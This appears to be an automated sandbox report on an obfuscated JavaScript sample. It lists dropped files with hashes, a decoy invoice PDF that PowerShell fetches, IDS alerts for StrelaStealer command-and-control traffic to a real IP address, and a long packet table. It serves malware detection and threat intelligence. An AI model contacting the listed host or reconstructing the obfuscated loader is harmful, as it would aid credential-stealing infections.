Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\90571dbc-a3d0-44ec-b945-175bbf40f0de.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f14ec86a-a35e-412e-bf5a-3a2e60ce8dd9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:GqwYIGNP4mOWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:nwZG6bWLxXGZN3mlind9i4ufFXpAXkru
MD5:	B9F335DCD951778C1536ED225A5BCEF8
SHA1:	1FB79E9982B74C55F87F1365AE47BA48D84530E4
SHA-256:	1360AEF411929A617A1A755F62BC7AFB7FE6EFA8AE0DB36CC0BD8A1BA6EB37EA
SHA-512:	88006C49DB7CA113D1CC45EE123C4767084E39026AD39E25544C66AA27D1A703FF2119CA64EBFB7BDEE2F139164B796D61FF41B4AC1083CD24660667EEAA30B2
Malicious:	false
Preview:	...........}.s.H....W`E.........M9h...q..p......%..!q.p....~..2......DlWtW!)?_.\|....?..?.s.w1.i..G...h6.]..y...p..m.b..N..rr..F..Xc...l.4.."..Q.... hL.p......s...x6..:.....x.~.6.Q..~......~b7..k.l......Yc.G[....hY3...C..n..\|.'6......i4f...,.."...O.b...x..,..jgc..bTn....,u.F..0......V.K,u..p....X.wAap...+.G..v....i.z...E.Rj8.a.r..<@.q.'...!.4..]...\|..3...-.2...`...4..i...w......$0D.....i./a......Z.]..e.mj..c}.?.....o......c...W..+....c...W...?8...n.......U..7..O........@....'...^.z..=.m....o.o<..~....... ...C{......w.m.h.-Q...6.(..uk/w!...Z..n.....p.U........T^w..[....1l...../i......0..1U\|}../xS}.q..B\|.......h>....S....g...A.s6.=.&....~.\.......-N.p...._.xex.....}.r..q$..<.S;l=. ..P..55;....[.}.T......d.p..vd'vl.].DN..o...................D...].......I}.t...D`?..n.A.zT..:@.`S5.K..,R....h...XzT....F..Xt...R...+N.....ee...P...F+C.....dq...r..5..aP.zY....c.f/..Pn...:f.>.Z..s.+.......7...O.C.#..6.....=.K.5{.%6,..Z.....DqZ.4....g-%.p..n...\

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14726), with CRLF line terminators
Entropy (8bit):	4.928456770921154
TrID:
File name:	6515707756641447.js
File size:	18'073 bytes
MD5:	0f771f34165bbd2cf43cab82cd6f3399
SHA1:	07bc628e52049b319041158a3124011157b91b55
SHA256:	9fceecaa1c86fca58083e6322896b6a8ffc16db54260ef4b2d3e41381a9e71d5
SHA512:	977200973a8bca79f680eaeecbfdc0b277e3c0adbe55721e44c52875d46be6f00d97c28d0dac53bf5d967708ff5c72ff5cffa1387622207fa84c50686d3c7f4a
SSDEEP:	384:dP9vWss0rF8CTaoc4FNbQFhEWwFnSPJSTKjTBsuviKYAYtJ8nr1jaK1EAZs4BsJR:dPEss0rF8CTaoc4FNbkhqSo
TLSH:	858245818B4E999F8DF847B4AB569CA9C2D310CC868083ECD0561116D72BEB4FFF6479
File Content Preview:	function lzpqmrgpp(){ecfjtaj=[1031,3079,5127,4103,2055,3072];var pqmmuotu=this[lzzavokt+yewvjhh+aowmc+husfku+nuhkpw+qvfckmwr+qilqugko+mdfzo](this[xppjza+gmmwt+pbkxi+aowmc+ubjgkkpdi+lzzavokt+mdfzo][lndlcp+aowmc+nuhkpw+yewvjhh+mdfzo+nuhkpw+dktmgcu+nuuqzgel+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:05:14.358385+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-11T02:05:14.358385+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-11T02:05:16.858474+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49722	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:05:13.542797089 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:13.547637939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:13.547728062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:13.550862074 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:13.555826902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.358266115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.358283043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.358302116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.358309984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.358315945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.358328104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.358340025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.358385086 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.358443022 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.358474970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.358488083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.358498096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.358519077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.358536005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.363460064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.363472939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.363521099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.418246031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.418268919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.418279886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.418349028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.481925011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.481952906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.481965065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.482017040 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.482142925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.482181072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.482182980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.482194901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.482234955 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.482259989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.482271910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.482301950 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.482980967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.483058929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.483099937 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.483268023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.483324051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.483335972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.483362913 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.483681917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.483721972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.483727932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.483778000 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.483823061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.483834982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.483872890 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.488930941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.488941908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.488996983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.489089966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.489109993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.489183903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.505052090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.541706085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.541719913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.541755915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.541807890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.541826963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.541837931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.541843891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.541873932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.570635080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.570768118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.570831060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.608880997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.608896971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.608908892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.608923912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.608942986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.608952999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.608963013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.608973026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.608985901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.608998060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609009027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609019041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609028101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609034061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609035015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.609040022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609035015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.609045029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609050989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609055996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609071016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609081030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609086990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609088898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.609112978 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.609132051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.609431028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609446049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609458923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609468937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609477997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.609481096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609498024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.609524965 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.609589100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609601021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.609647989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.610567093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.610579967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.610590935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.610601902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.610613108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.610624075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.610634089 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.610637903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.610671997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.611182928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.611196041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.611207008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.611224890 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.611252069 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.611341000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.611352921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.611388922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.628487110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.665314913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.665363073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.665374994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.665399075 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.665438890 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.665514946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.665528059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.665539980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.665580034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.692291975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.692306995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.692320108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.692368031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.692395926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.692395926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.729008913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.729022980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.729034901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.729059935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.729075909 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.729110956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.729780912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.729823112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.729823112 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.729875088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.729886055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.729907036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.729938030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.729958057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.729975939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.729990005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.730000973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.730024099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.730287075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.730314016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.730330944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.730379105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.730391026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.730413914 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.730571032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.730582952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.730592966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.730609894 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.730638027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.730938911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.730950117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.730973959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.730982065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.731029987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.731040955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.731061935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.731182098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.731193066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.731204987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.731215954 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.731216908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.731232882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.731348991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.731362104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.731388092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.731837034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.731873989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.731894016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.731905937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.731940985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.732006073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732017040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732028008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732050896 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.732215881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732228994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732239008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732249975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.732254982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732275009 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.732861996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732873917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732886076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732902050 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.732928038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.732964993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732975960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732988119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.732999086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.733011007 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.733027935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.733179092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.733190060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.733201027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.733216047 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.733726025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.733766079 CET	49711	80	192.168.2.6	193.143.1.205
